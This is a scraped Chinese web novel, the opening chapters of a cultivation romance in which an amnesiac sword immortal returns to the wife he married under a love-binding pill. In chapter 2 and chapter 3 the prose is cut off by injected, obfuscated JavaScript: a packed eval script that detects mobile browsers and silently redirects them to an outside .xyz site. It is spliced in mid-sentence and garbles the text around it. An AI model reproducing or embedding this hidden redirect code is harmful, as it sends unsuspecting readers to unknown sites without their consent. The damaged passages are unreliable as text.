《成婚的夫君失忆了》 1. 第一章 宋半夏和李修竹结婚第一百年了。 作为一个没有任何修仙天资的修二代,能活的这么长,甚至于还会活的更长,这多亏了她有一个修为臻至化境的夫君。 李修竹,逍遥道逍遥剑拥有者,百年飞升的天才苗子,最爱在人间行走,多年来曾被先后评为修真界最潇洒的仙君、最俊秀的大乘尊者和最爱管闲事的大乘尊者等。 他们这种毫不相关的两个人,之所以成为夫妻,还要从一百年前的情劫丝说起。 逍遥道作为传承已久的大道之一,不光有着神剑逍遥,更有各种针对此道的稀奇古怪的东西。 毕竟逍遥道传承这么多年,总有几个拉仇恨的家伙。 这其中情劫丝便是针对逍遥道的东西之一。 众所周知,逍遥道的精髓就在逍遥二字——天地广大,我意逍遥。 于纷杂凡世,修一颗无尘之心。落魄或富贵皆如过眼云烟,痛苦和欢乐亦不改傲骨铮铮。 而一旦被尘世牵绊,那就恐怕有违本心,境界再难增长了。 传说其中有一位逍遥剑君马上要大乘飞升了,不曾想,情丝被偷走了一截,炼化成了丹药,给他曾经倾慕的女子服下了。 那女子本不爱他,一夜之间却突然因此心中不由得滋生了浓浓的爱慕之情。 情丝可再生,丹药非与逍遥道阴阳合欢无可解。 那剑君没办法坐视不理,更何况他本来就爱慕女子,遂出关娶了女子。 但在阴阳合欢拿回情丝的过程中,逍遥道的修为会顺着情丝转给女方,离飞升的距离会随之拉长。 最后丹药解了,女子对剑君的爱慕在一夜间消失,更憎恨他误了自己良缘,遂与剑君反目,捅了剑君一剑后云游世间去了。 而那名逍遥剑君最终因此无缘飞升,病死人间。 因此缘故,那丹药被后世之人取了名字叫做情劫丝。 情劫丝专与逍遥道功法相合。 宋半夏当初听说了这个故事,还觉得那丹修实在没良心,报复不了逍遥剑君,就报复人家无辜女子算是怎么个事? 这不就是报复社会的典型吗! 没想到不过半年,她自己就中了情劫丝,而这情劫丝的主人就是当下大名鼎鼎的新一代逍遥剑剑主李修竹。 当时,宋半夏是没发现自己中了情劫丝的,哪怕李修竹站到她面前说她被人种下了来自他的情劫丝,宋半夏也只觉得离奇的‘啊’了一声,直到她开始心律不齐、手脚冰凉、不间断地流鼻血,她才后知后觉地有了实感。 讲道理,她跟李修竹是没有半分关系的,所以有人把李修竹的情丝练成了丹药特意下到她的身上,就很不合理! 虽然她十分地期待会跟李修竹有什么关系,并会在死党面前说自己老公是李修竹,但她只是平平无奇的crush梦女一枚罢了,跟李修竹没有半毛钱关系,十分无辜。 是的,宋半夏当时的crush正是李修竹。 不然也不会在被种下情劫丝后没有发现半点不对劲了。 倘若李修竹是她的梦男,那就像传说中的情劫丝故事那样,她倒还能理解一下下黑手的人,毕竟大家是都不可能看自己的crush出事的。 可事实正好相反啊! 把情劫丝下到她身上,对李修竹的影响完全为零……吧? 这幕后黑手到底是怎么想的? 她不明白。 因此,当李修竹站在宋半夏的面前说要因为情劫丝而娶她的时候,宋半夏颇有些天上掉馅饼的不真实感觉。 她的crush李修竹是个十分有责任感的人,仅仅因为有人偷了他的情丝练成丹药喂给一个不知名的爱慕他的女子,就能负责任地跟那名女子成亲,甚至宋半夏时常觉得李修竹的责任感也忒重了一点。 成婚的过程还算顺利。 因为宋半夏生来就没什么修炼天赋,基本上下半辈子注定要跟凡人一样生老病死。 如今李修竹自己站了出来,愿意用自己当鼎炉给宋半夏补身体,更保证情劫丝解开后,分一半的财产给宋半夏,让她远走高飞,宋家没理由不同意。 如果不是对方是百年大乘的李修竹,宋家会觉得他们遇上杀猪盘了。当然,即便是李修竹,宋半夏的父亲还是怀疑了一番。 至于宋半夏,李修竹站她面前,即便他的本质是一坨狗屎,她也是要吃两口试试看的。 完全没有任何拒绝的理由呢。 回忆至此,宋半夏将门口的灯笼挂的更高了些。 “正吗?”她低头去问侍女白琪。 侍女也是修者,与其说是侍女,不如说是给宋半夏打工的员工。 “正,会不会有点太高了?”白琪说。 宋半夏拍了拍手,从高处一下子轻巧跳了下来,将梯子一抬,弯了弯一双漂亮的眼睛说:“我开心,挂高点正好。” 李修竹来了信,说自己今日要回来。 他虽然修为很高,但跟别的仙尊不一样,经常在人间游历。往往十天半月回来一次,等到再过个十天半月再出去。 因为情劫丝的缘故,这百年他都没有闭过长于一年的关,修为也从大乘下降到了渡劫期,反倒是宋半夏,这些年吃吃喝喝,却直接升到了元婴,让她大哥看了恨不得关门谢客。——她大哥现如今也是元婴。 将灯笼挂好,宋半夏站在门前欣赏了一番。 这一对花灯是去年的时候二人一起做的,左边灯笼画着的墨色山河出自她的手,右边灯笼画着的两个彩色小人出自李修竹的手。 今年元宵,要画些什么好呢? 宋半夏开心地想着。 烛影下的女子,面容姣好,穿着一身绛红色斗篷,梳起的发髻上银簪流苏摇摇晃晃,似乎有些冷地伸出手合拢在唇上呼了一口气,热气熏熏飘散,她眉眼弯弯地回身望向远方。 她在等人。 李修竹知道她等的是谁。 但他站在树上,抱着自己冰凉的逍遥剑,并没有下去。 他仔细打量着那个女子。 心想,这就是闻奈说的,被他巧取豪夺回来的小妻子吗? 看着确实挺活泼的。 逍遥剑在他怀里震了震,好像是在问自己的主人傻了吗,怎么还不下去把人抱回家。 李修竹说:“看不到本尊在思考吗?再震就把你丢进茅厕。” 逍遥剑:“……” 逍遥剑跟过的剑主多了,从剑鞘中跳起来就给了李修竹一个头锤,铮地一声又合上,把剑鞘从李修竹的怀里拔了出来,摇摇晃晃地朝宋半夏飞去,徒留李修竹在树上‘哎呦’一声,捂着脑袋伸出了挽回的手。 正想着晚上要不要再加两道菜的宋半夏,一瞬间抬起了脑袋,伸手接住了逍遥剑。 白琪:“咦?人回来了?” 宋半夏顺着那哎呦声看去,树影婆娑,叶声沙沙。 白琪望了一眼说:“我去叫厨房上菜。”随后匆匆走了。 宋半夏抱着剑,三步一小跑地站到了树下,仰头看去,李修竹俊秀的脸在树叶下显露,她抿着嘴笑了起来。 “我就知道是你。”宋半夏轻声说,“欢迎回家,剑君。” 少女面容姣好,灵动中透着半分温婉,看着是个有些俏皮的活泼女修,此刻她那双微微弯起的杏眸中盛满了他的身影。 月下,人消瘦。 李修竹俯身望着她,猝不及防望进她眼中的一池春水,抓着树枝的手紧了紧,莫名地感觉有些不自然的慌乱,究其原因,是胸腔中的那颗心脏,正仿佛放着烟花一样砰砰作响。 这感觉,对他来说似乎有些奇妙。 宋半夏伸出自己柔软的手,剑还被她抱在怀里。 李修竹顿了顿,一用力,就跳下了树,伸出手,却没握紧,点了一下算是回应,低头装着扑了两下衣服。 宋半夏也没在意,收回手,抱着剑,凑他近了点,看到他肩上的雪,问:“你是不是早等在这里了,故意等我挂灯笼呢?” 李修竹抬眸,他有一双剑眉星目,笑起来的时候,显得有三分俊逸潇洒,不笑的时候又有三分深沉。 “怎么?”宋半夏道。 李修竹沉思问:“你经常这样抱着逍遥剑吗?” 宋半夏有些不明所以。 剑修对剑是有些执念的,他这样说,是介意吗? “还好,也没有吧……你介意?” 李修竹:“不,我怕你介意。” 宋半夏更不明白了:“我为什 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李修竹站在屋顶往下看了一眼,说:“本来想把它丢进茅坑的,看在你的面上,便宜它了。” 他回头看了宋半夏一眼,女子在房脊上找了个位置坐了下来,发髻有些许乱了,几缕碎发耷拉在她额前颈下,嘴唇微张着呼吸。 唯有那双眼睛弯弯地看着他,仿若有光。 李修竹看的怔了一下,捻了捻手。 宋半夏:“我觉得,逍遥剑不会感谢你的。” 李修竹朝她走了过来,他身材匀称,肩宽腿长,衣衫飘动着,腰间还挂着个紫金酒葫芦,在月下,像是要乘风而起。 宋半夏心跳停了停,闭了嘴,抿了下唇。 李修竹坐到了宋半夏身边,打开酒葫芦喝了一口,说:“它脾气太大了,比我脾气还大,不教不行。” 据说,逍遥剑已经辅佐过近十名剑修,年龄加起来估计比李修竹的太爷爷的爷爷还要大。 宋半夏对李修竹的脾气有些无奈,但也没多说什么,她从不管李修竹的处事方法,因为李修竹比她也大很多,在她还是个幼童的时候,他就已经是修真界成名的尊者了。 简而言之,她对李修竹有着极深的滤镜。 李修竹忍了半天,说服了自己,伸手给宋半夏捋了捋额前的头发,半晌,道:“你也有点太弱了,不是元婴吗?” 怎么这一会儿,就累的出了汗。 宋半夏:她的元婴有多少水分,他不知道么? “是,拖了李剑君后腿,真是对不起您!”她大声道。 李修竹:“脾气怎么和逍遥剑一样大?” 宋半夏咬了下唇,轻轻哼了一声。 他惯的,他活该。 李修竹:“是不是偷偷骂我呢?” 宋半夏翻了他一个白眼,朝他伸出手,说:“我要喝酒。” 紫金葫芦里装的都是醉人的烈酒,李修竹迟疑了一瞬,给她递了过去,看见她仰头就闷了一大口,用极为熟悉的姿态舒了口气,然后将葫芦递了回来。 好厉害的酒量。 李修竹笑着接过了酒葫芦,说:“倒是我小瞧你了,你这酒量,天生的吗?” 宋半夏伸出了一只手指,在他面前晃了晃,然后指向远方,李修竹顺着她的指尖看去,远方空荡荡,那边有什么,宋家人吗? 耳边传来女子热腾腾的声音,她竟趁他不备,凑到了他的耳朵旁,说:“你教的。” 李修竹僵了一下,稍稍侧头,望见她丹红的唇,与微敞的领口下露出的风光,以及潋滟的眉目。 她声音轻又柔:”剑君,我的酒量如何?” 宋半夏张了张唇,望见眼前人像是被蛊惑了一样,朝她低下头,她便也顺从地仰了仰头……打了个酒嗝,眼睛一闭,趴在他肩上,昏睡了过去。 李修竹顿住,抬手接住她顺着滚下去的脑袋,风吹叶落,寂静中,他闭了闭眼。 半晌,睁开眼,把人捞到怀里,自嘲地笑了一声,叹道:“你这酒量……真是……高估你了。” 原来是个花架子。 一杯倒。 2. 第二章 夜里,李修竹站在充满女子气息的卧室里,打开窗户,接住了一只古怪纹路的鸟儿,那鸟儿碰到他的手,顿时化作了一纸信件。 打开信件,信件顿时烧成了灰,闻奈的声音传来。 “我打听过了,害你失忆的北海修士,名叫阎八荒,青云宗妖修,不常出来走动,估计是拍卖会上惹的麻烦。你要去教训人记得叫上孟灵,孟灵说她一定要去帮帮场子。” 麻烦? 他是惹到麻烦了。 李修竹抱着胳膊冷笑了一声。 闻奈继续道:“我上次给你夫人问诊,她体内的情丝确实只剩下芝麻大点了,再同房一次估计就能解了这丹毒。不过合离的事,你可要慎重考虑,我觉得等你恢复记忆,十有八九得后悔,到时候可别怪我没劝过你。孟灵还说,如果你一定要合离,她一定会远赴千里给你一锤头。” 李修竹:“……” 闻奈:“当然孟灵的意思不是我的意思,我一直不支持你做这种作孽的事。一百年了,你如果失忆能变得清醒了也挺好,早合离早完事。对你对你夫人都挺好。感情这种事真强求不来,唉……” 他还叹起气来了。 李修竹‘啧’了一声,挥散了眼前浮沉。 前段时间李修竹在北海醒来,一睁眼发觉百年过去了,而他的修为不升反降,从大乘期直接往下落了一个坎,成了渡劫后期。 雷劫算是白渡了不说,在一众朋友间的名声还坏掉了。 究其原因,其实只在一人身上,修真界宋家宋向松之女宋半夏。 宋向松这个人李修竹有印象。 为什么呢? 因为年少的时候,他被宋向松找过麻烦。宋家也算是个修仙世家,宋向松当年和李修竹一起入的门。一个世家少爷,一个落魄凡人,纵使李修竹天赋异禀,也不免吃了几次亏。当然,后来,他都揍回去了。 两人虽是同门,但关系嘛,不能说好,只能说水火不容。 后来李修竹越走越远,也就不再在意以前的挫折,几乎忘了这么一个人。 而如今他被告知,自己强娶了那家伙的小女儿,这简直是有些荒谬的。 说是强娶,其实还有些骗婚的因素混在其中。 这对于李修竹来说简直是危言耸听。 他。 逍遥剑剑主。 逍遥道臻至化境的大乘尊者。 会干这种糟心烂肺的龌龊事?! 问了一众好友,大家的回答各有不同,但其中心只表达了一个意思——是的,这就是你逍遥剑剑主搞出来事。 李修竹人都麻了。 据闻奈说,他对那个女子是一见倾心,再见钟情,完全是非她不可,飞升也飞不了那种。 而宋半夏本人,听说是把李修竹当做了死对头。 别管她一个没有修炼天赋的凡人,哪来的胆量把李修竹当做死对头的,可能是随了她爹吧。 反正听起来,这宋氏女子,是完全不喜欢李修竹。 这也就引发了李修竹后面骗婚的事情。 想到这里,李修竹颇有些头疼,任谁一睁眼发现百年后的自己是一个卑鄙无耻的、强取豪夺的小人,也会像他这样的。 而且,为了区区一个女子,违背自己所有的原则,甚至耽误飞升,这简直愚蠢至极。 都说修无情道的人老爱在感情上摔跟头,可他李修竹是修逍遥道的啊,主打一个拿的起放的下,怎么这百年间,他好的不学,净学这种坏东西呢? 李修竹站到了二人婚床前。 宋半夏迷迷瞪瞪地醒了,正朝他伸出手来,小孩一样。 她对他来说,也确实是小孩。 他在修真界叱咤风云的时候,她还没出生呢。 “李修竹。” 李修竹抱着胳膊,看着她,应了一声:“嗯。” “要抱。” 李修竹不为所动。 宋半夏不理解他为什么没抱上来,觉得他可能是没听清,增大声音又叫了一句:“夫君,抱。” 李修竹藏在腋下的手指尖颤了颤,沉默良久,往前走了两步,伸手抱住了她。 他安慰自己道,毕竟他们现如今是夫妻嘛,自然不能漠视她的需求。 情劫丝内含了他的情丝,所以吞下去的人,会不由自主地对他动情。抱着人,李修竹又一次默默地唾弃了百年前的自己一遍,他实在不知道,这种强求来的、虚假的爱,到底有什么好的。 他是走火入魔,疯掉了吗? 宋半夏将人当做垫子压在身下,把脑袋埋进他的侧颈,手藏到他的手臂下,力求一个把自己镶嵌进他的身体里,然后嗅闻着他身上温暖的气息,满意地再度睡过去了。 李修竹沉默着,扯了扯她,没能扯起来,倒把她衣衫扯地更乱了,他深深地吐了一口气,歪了歪脑袋,伸出腿,将被子扯上来,盖住交叠的身子,阖眸也睡了过去。 这一睡,就做了很长的一段噩梦。 梦里他给宋半夏种下情劫丝的事情暴露了,不光宋向松拿着武器要找他拼命,天下人也要讨伐他,就连那一堆损友也纷纷割席。 回到挂着灯笼的家中,看到宋半夏在一笔一划地画灯笼。 他朝她走去,宋半夏冲他笑着,好像不知道外面的腥风血雨一样,但他知道她是知道的。 李修竹还纳闷她为何不走,还留在此地,难道是真的爱上他了吗? 一番云雨过后,李修竹醒来,被她困在了牢狱中。他本想着,自己确实也这样困过她,如今她要报复,也是在情理之中。 起初,他困在牢狱里,很安稳,因为她日日都来见他。后来,她却来的少了,李修竹在她身上,发现了别人的痕迹。 那一天,李修竹斩断锁链,越狱了。 跑了出来,才知道,她要同别人成亲了。那一笔一划的灯笼其实是她与别人的定情之物,因为那人,她才日日画灯笼,其实她从没有爱过他。 李修竹愤怒地提剑闯了婚礼,狼狈地见到了穿着喜服的她。 他同那个被她喜欢的仙君决斗,没想到竟然势均力敌,就在他马上要赢一招的时候,后面戳过来一把剑,直接穿透了他的心脏,正是他的逍遥剑,而握剑的却是他心心念念的小妻子。 他的妻子。 李修竹骤然从睡梦里苏醒,外面天光大亮,胸口沉闷温热,压的他有些心慌。 他喘了口气,微微低头,看到了自己噩梦的根源。 他还正紧紧抱着呢。 李修竹僵直片刻,卸了力气,躺了回去。 真是,作孽。 宋半夏醒来后,只觉得自己腰酸背痛,像是睡了一晚上木地板。 她哼哼唧唧了半晌,听见脑袋上传来声音。 “委屈了?” 宋半夏顿了顿,有气无力的应道:“嗯。” “压着本尊睡了一晚上,害本尊做了一晚上噩梦,你还委屈?” 宋半夏梗了一下,有了些许愧疚,但也不多,松开有些麻木的手,一翻身从他身上滚下去,感觉到他顺势松开了握在她腰上的手,她在被子里摸了摸。 李修竹凉凉警告道:“别乱摸。” 宋半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋半夏没等到回应,有些泄气,一下子就亲到了李修竹侧脸,然后张开嘴,用牙咬了咬他。 被子下,李修竹默默屈起了自己的一条腿。 宋半夏脾气来的快去的也快,松了口,从他身上爬起来,迈过他要去穿衣服。 李修竹伸手抓住了她的脚腕,她回眸看了他两眼,挣扎了一下,没挣开。 李修竹躺在床上,眉目英俊,懒洋洋望着她,终于张开嘴沙哑地说:“爱。变成老鼠爱你,变成猫也爱你。” 他目光灼灼,在邀请她回到床榻上。 李修竹早起很兴奋,宋半夏刚刚起身时其实摸到了,还特意多摸了两把。 但是她是真的宿醉地有些头疼,想要去喝一碗汤暖暖肚子,而且昨晚的菜她一口都没吃到,嘴里馋了。 索性他从前就极为纵容,从来不因为这件事翻脸,宋半夏便遵从自己的意愿,用力挣了一下,跳到床下,俯下身子,在李修竹额头上印了一个湿漉漉的吻,在他再度伸出来拉她时,说了一句‘饿了去吃饭’,然后穿了衣服,一溜烟跑出门去了。 李修竹怔了一下,半晌,看着空荡荡的房间,抬手摸了摸自己额头,长叹了口气,腿支着,又躺了回去,鼻尖好像还残存着女子身上的馨香。 把这样一个活泼的女子成百年地困在只有自己的一方天地,李修竹不知道第多少次地唾弃从前的那个自己。 真是,做孽。 3. 第三章 走过回廊,宋半夏跟白琪碰了个面,宋半夏停下她面前,笑容浅浅地叫了一声:“白琪!” 看来二人昨夜相处的很愉快。 每当李修竹回来,宋半夏都会非常开心,一百年了,好像从来如此,没有改变过分毫。 白琪并非是宋家女婢,她是被宋半夏从路边捡回来的。 宋半夏捡到她的时候,她正在逃亡,浑身是血,躺在草丛里半死不活。 白琪问:“先吃饭,还是先拆信?” 宋半夏想了想说:“边吃饭,边拆礼物吧。” 白琪闻言顿了顿,打量她神情,方说:“李剑君这次没带礼物回来。” 往常,李修竹出去十天半个月,回来之后必定带回其他地方的稀奇古怪的东西给她,多数是好吃的,因为宋半夏喜欢吃,少数是法宝丹药,因为他总觉得宋半夏太弱了,怕她被欺负。 这一带就是数百年,绝无列外。 宋半夏感觉心脏莫名漏了一拍,有些失落还有些找不到源头的慌。 起先她是并不在意这些的,因为李修竹回来,她看到他就已经足够高兴。 但这百年来,不经意,她便已经养成了习惯,陡然没了礼物,还有些小委屈。心想,难道是昨晚她喝醉之后闹腾的厉害,所以李修竹才没腾出手,去把礼物交给府里? 毕竟以前他一回来,通常会赖床四五日,所以才会提前把东西交到府里,让她一起床就能拆。 宋半夏是没什么赖床习惯的,记得当年二人洞房花烛后的第一天,她就起了个大早,因为肚子饿了,所以趁着李修竹还在睡,偷偷地出门上街上吃了顿饭。 她是打算在李修竹还没睡醒的时候,就擦干净嘴巴回去的。 计划成功了一半。 当她吃饱喝足重新推开房门走进去时,李修竹以为她那个时候才起,还问她怎么起这么早,丝毫不知道她已经在外面已经吃了一顿早餐了。 剩下那一半没有成功的原因是——那条街上的人,都跟李修竹很熟。 作为一名鼎鼎大名的剑君,李修竹娶妻这件事也很有名,因为他不讲究排场,所以成婚当晚街坊邻居们还参加过他的婚礼,看到过宋半夏的脸。 这大早上的,李府门被推开,新郎没见着,新娘子自己出门闲庭漫步地吃了个早餐,惊掉了一圈人的下巴,让人难免怀疑李修竹的‘实力’。 宋半夏睡了个回笼觉的功夫,李修竹上街买菜走了一圈,在众人或关心或调侃的话里,就完全清楚事情的真相了。 他越走越沉默,拎着菜,也不排队给宋半夏买街上最好吃的那家果子了——因为她早上起床已经自己吃过了! 一路回到府上,把菜丢到厨房,李修竹搬着凳子大刀阔斧地往宋半夏床前一坐,等着她睡醒。 宋半夏睡醒了,宋半夏很疑惑。不知道他为什么气势汹汹地坐在她面前。 直到他打量了她片刻,带着怨念地开口问:“街头的油果子好吃吗?” “……” 暴露了。 宋半夏有些怂,也不知道自己为什么怂,可能是怕成婚第一天,就被他发现她贪吃的本性而对她产生不好的印象吧。 当然,宋半夏当时还不知道,其实重点完全不在此。 她努了努嘴,说:“好吃,就是吃多了有点腻。” 街头的果子搞促销,单买三文钱一个,但散称买一斤送半斤。她一个人吃了一斤半,吃到腻,没想到带回来给他一个。 李修竹沉默了许久,问:“昨天没吃饭?” 凡间的婚礼成婚仪式复杂,新娘从早上很早起床忙碌,通常来不及吃饭,但家中往往也会准备东西让新娘们路上垫垫肚子。 修真界虽然开放,对成婚新娘没想到似乎也很严苛。 李修竹说:“我不知道修真界的婚礼也这么复杂,你还是个凡人,难道你父母没叮嘱厨房给你准备点点心?” 当然准备了,还备了一堆,生怕她饿着,宋半夏上花轿的前一秒还在往自己嘴里塞呢。 但此刻,显然闭嘴不言比较好。 宋半夏刚睡醒披散着头发,脸又小又白,乖乖地坐在被子里,一双水灵灵的眼珠子紧张地看着他,摇了摇头,活脱脱一副小可怜样,直把李修竹看的心脏突突地疼。 李修竹说:“是我的错,没有考虑到这些,让你受委屈了。” 宋半夏见他似乎气消了很多,说:“还好,也没有多委屈。我只是有点饿了,见剑君你还睡着,不想吵醒你。” 这话一出,若让旁人听到,定然会直接坐实了李修竹是个银样镴枪头的谣言。 满腔愤怒,看到眼前的人却好像都消散了,化作了万般无奈,他叹了口气道:“下次你要饿了就直接叫醒我,不要怕我生气,我知道这里哪家馆子最好吃,咱们可以一起去。” 宋半夏点了点头,小心翼翼地说:“好。” 李修竹忍了忍,眉宇间终于还是忍不住流露出一股愤怒,说:“你父亲对你也没有那么在乎。” 先不说宋向松那家伙把他们之间的恩怨牵扯到儿女身上,就说他去提亲,宋向松看到了聘礼就一口答应了,可见那人只是把宋半夏当做一颗摇钱树罢了。 有这样一个父亲,她又这样乖巧,不知她之前到底吃了多少旁人看不到的苦。 但李修竹话说出口,就察觉到了不妥,紧张起来。他是知道宋半夏很亲近她的父亲的,以前若是有人说了宋向松半句不好,即便她是个凡人,对方是个厉害的修仙者,她也绝不退缩。 二人刚刚成亲,他不想因为这件事让她生气。 就在李修竹要改口的时候。 宋半夏默默点了点头。 确实,她出嫁前说了让她爹把东边那座灵石矿给她做陪嫁,她爹都不肯,说什么她修为这么低,灵石矿给她也白搭,得等过几年看看情况再给。 呸,分明就是觉得她不够聪明,怕放在她手里被李修竹诓走。 她可是知道,当年她爹以势欺人才把那座灵石矿从李修竹手里抢走的,他完全是把那座灵石矿当做是对战李修竹的胜利品了。 真不知道,过去这么多年了,她爹怎么老是记着这一茬。 见她点头,李修竹心下一软,伸出手摸了摸她的脑袋。 好乖。 或许是情劫丝造成的错觉,让他觉得,自己或许是有机会让她抛弃对自己的偏见,走进她心里的。 想到情劫丝,李修竹的心沉了沉,胸腔中的道心颤动着,让这些甜蜜都变得有些扭曲的苦涩。 一时入魔,酿成大错。 当出自他手的情劫丝被她吞下去的时候,他骤然清醒,却已无力回天。李修竹爱她,可并不想要这样虚假的、来自外物的情。 可要他放手,眼睁睁地看她与别人缠绵,他做不到,于是干脆将错就错,成就了这一番孽缘。 李修竹不知道等待他的会是什么结局,或许和当年的那名逍遥道前辈一样,他会因情而死,他会因她而死,飞升之门永远不会再朝他打开,但他并不后悔,甚至还有些穷途末路的疯狂。 他困在对她的爱之中,却早已举手投降。 宋半夏见他不知怎么突然消沉下去,大胆地伸出手,攥住了他刚刚摸自己脑袋的手。 他的手上有些轻薄的茧,大抵是练剑所致。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412239|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他比她体温要高一些,但因为刚刚出了一趟门,所以被风吹的有些凉,而她的手则在被子里暖热了。 李修竹顿了顿,抬起另一只手,摸了摸她的下巴,俯身朝她吻了过来。 他的唇不厚不薄,将二人体温晕染。呼吸交换,片刻,他喘息着往后撤了撤,换了一下坐姿,胸腔起伏着,望着她哑声道:“我去做午饭,你有什么想吃的吗?” “你做?”宋半夏问。 “我做。” 能吃吗? 修真界有一半人都是辟谷的,即便不辟谷,会做饭的人也很少。 记得小时候,她爹曾经亲自下厨做过一顿饭,那顿饭不光把厨房烧了,还让他们一家人都短暂地患上了鱼肉恐惧症,宋半夏光是想想就打了个寒颤。 李修竹:“怎么了?冷?” 他伸手给她掖了掖被子。 宋半夏摇了摇头,说:“不冷。我都行,只要是剑君做的,我都爱吃。” 李修竹便笑了,曲起手指轻轻勾了一下她的鼻尖,说:“就你会讨人喜欢。” 说完,他起身,给宋半夏拿了个虎皮包着的暖手炉,离开了。 宋半夏觉得,李修竹在床事之上并不热衷,每次的动作也很节制,她猜测或许是他活了太久的缘故,所以对什么都变得有些淡漠。 她娘刚成亲之前曾经给她备了许许多多的十全大补汤、十全大补丸,还有各种伤药。原本是因为担忧她跟李修竹修为差了不止一星半点,怕她应付不过来,但没想到出人意料地全都没有用上。 李修竹做的饭,也出人意料的好吃。 回忆至此,宋半夏道:“那就一边吃饭,一边回信吧。” 百年夫妻了,再纠结什么礼物不礼物的就有些矫情了,何况他只是这一次没有带礼物回来罢了,说不定是在外面遇到什么事忘了呢。 但,宋半夏更觉得,可能是他放进他的芥子空间里还没来得及给白琪。 白琪应下,去叫厨房上菜,并把读者寄给宋半夏的信带给了她。 宋半夏是个美食作者,或者说,更像是什么美食博主。经常在修真界的报纸上发表一些关于美食的感悟和图画。逐渐的,竟变得小有名气起来。 因此,经常能收到读者或是爱好者的信件。 吃着饭,接连拆开几封信,宋半夏‘啧’了一声。 怎么又是这个家伙。 因为是实名制发表文章,所以宋半夏时常能收到一些很奇怪的言论。 “到底是谁在造谣我被李修竹囚禁了的?” 宋半夏和其他修仙者不一样,天生没有想要去外面闯荡江湖的心,就爱待在自己这一亩三分地研究研究美食。 不知道为什么,从某一天开始,修仙界就盛传,说她之所以长年不出门,是因为被李修竹囚禁了。 虽然她父母兄长知道她的秉性,但听说了这消息之后,还是连夜跑到了李府门前来确认情况,一言不合就险些跟刚回家的李修竹打起来。 把宋半夏气的三天没搭理她爹。 一旁和她一起吃着饭的白琪顿了顿,抬头拿过她手里的信颦了颦眉。 信中的内容越来越疯狂了。 她问:“要不要告诉李剑君?” 宋半夏不在意地摆了摆手,说:“别了,又不是什么大事,没必要。而且这镇子上到处留有他的剑印,宅子更是被层层阵法防护着,上次我爹来搞丢了令牌,绕了大半天没绕出去,还是我把他带出去的……没人会想不开来硬刚大乘期尊者的地盘的,哪怕修竹现在修为暂时下降了,也不是什么阿猫阿狗都敢惹的。” 白琪便点了点头。 4. 第四章 李修竹并没有像宋半夏所预想的那样赖床,在她走后不久,他打坐平息了一下心神,然后就起床练剑了。 以至于白琪找到他的时候,还很吃惊。 李修竹收了剑,看向白琪,问:“何事?” 白琪恭敬地行了个礼,然后直起身,道:“李剑君,这次给夫人的礼物不知是否还在您的芥子里?” 李修竹不明所以,问:“什么礼物?” 白琪闻言,眉目未动,道:“倘若您此次未带礼物回来,还请您一定拿些东西给夫人,倘若您没有,我也可以提供。” 她说:“既然您已经送了一百年的礼物了,那还请您不要中断,否则不如一开始就不要送。” 李修竹这才知道是怎么回事,原来是他失忆,把一直以来回家送老婆礼物的习惯忘了。 他悻悻地摸了摸鼻子,看着白琪离开的背影,心想,这府里的婢女们不知道是不是随了宋半夏,一个一个的都还挺有个性的。 这个名为李府的地方,其实是李修竹用当年赚到的第一桶金买的,也算是他在人间的第一个落脚地。 从前园子里是没有其他人的,因为李修竹来去匆匆,很少有固定的居所,就算是具有特殊意义的李府,顶多有他做的傀儡木偶,做些打扫的活,维持清净。 娶了一个妻子之后,这园子的人明显也多了起来,到处都有人气了。 李修竹捧着新鲜出炉的礼物,绕了一圈没见到宋半夏的人影,神念一扫,发现她竟然在厨房,寻着过去,远远就看见黑漆漆的烟雾,一堆人从里面顶着鸡窝头跑出来。 他顿时神情一肃,脚步快了些往前走去。 府上雇佣的厨子和女婢见了他纷纷绕开,喊道:“剑君!” 李修竹拿着礼物的手紧了紧,另一只手垂下去,天边一道光芒如流星一般划过,逍遥剑瞬间被他召回在手中,眼见整座厨房屋顶都要被他削飞。 宋半夏的声音从他背后人群传来:“夫君!” 李修竹脚下一顿,转头看去。 宋半夏一张脸上沾了半边灰,身上也有些黑漆漆的,在旁边踮着脚轻声喊他。 李修竹紧张的心落下,松开手,逍遥剑顿时飞上半空,比他先一步飞到了宋半夏面前。他慢慢走过去,扯住她的胳膊,左右瞧了瞧。 她的团花裙子也脏了,随着动作摆动着。宋半夏被烟雾呛得咳了两声,伸手在鼻子前扇了扇,说:“我没事。” 李修竹问:“怎么回事?” 逍遥剑就在他身旁竖着,仿佛也在询问到底发生了什么。 宋半夏有些不好意思:“咳!我本来!咳咳!” 李修竹颦了颦眉,伸出手,结了印,顿时将烟雾隔开,然后给她顺了顺气:“慢慢说。” 宋半夏道:“我本来是想来厨房给你做点菜的,你不是最喜欢吃红烧肉吗?我把肉焯了水,然后放到案板上,炒了特别漂亮的糖色……想着你还喜欢洋芋粑粑,就想干脆一起做了,谁知道拿洋芋的时候,把面粉踢翻了,正好撒在灶台前面……就……爆炸了。” 说到最后她有些心虚,因为其实几十年前也发生过类似事件,当时李修竹曾经三令五申地告诫她——没有他的允许和陪同,她绝不能踏进厨房半步。 宋半夏觉得自己可能是继承了她爹的炸厨房基因,明明步骤非常对,但只要是她操作的,就一定会出问题。 可是作为美食家,自己竟然不能做菜,这岂非滑天下之大稽,以至于宋半夏挣扎了许久,在炸了七八次厨房之后,才终于在李修竹的规劝下收了手。 李修竹一怔:“红烧肉?” 宋半夏:“对呀。” 说着她忽然弯着眼睛对他露出了一个狡黠的笑容,说:“虽然洋芋粑粑没做成,厨房也炸了……但是!我保住了剑君你的红烧肉!” 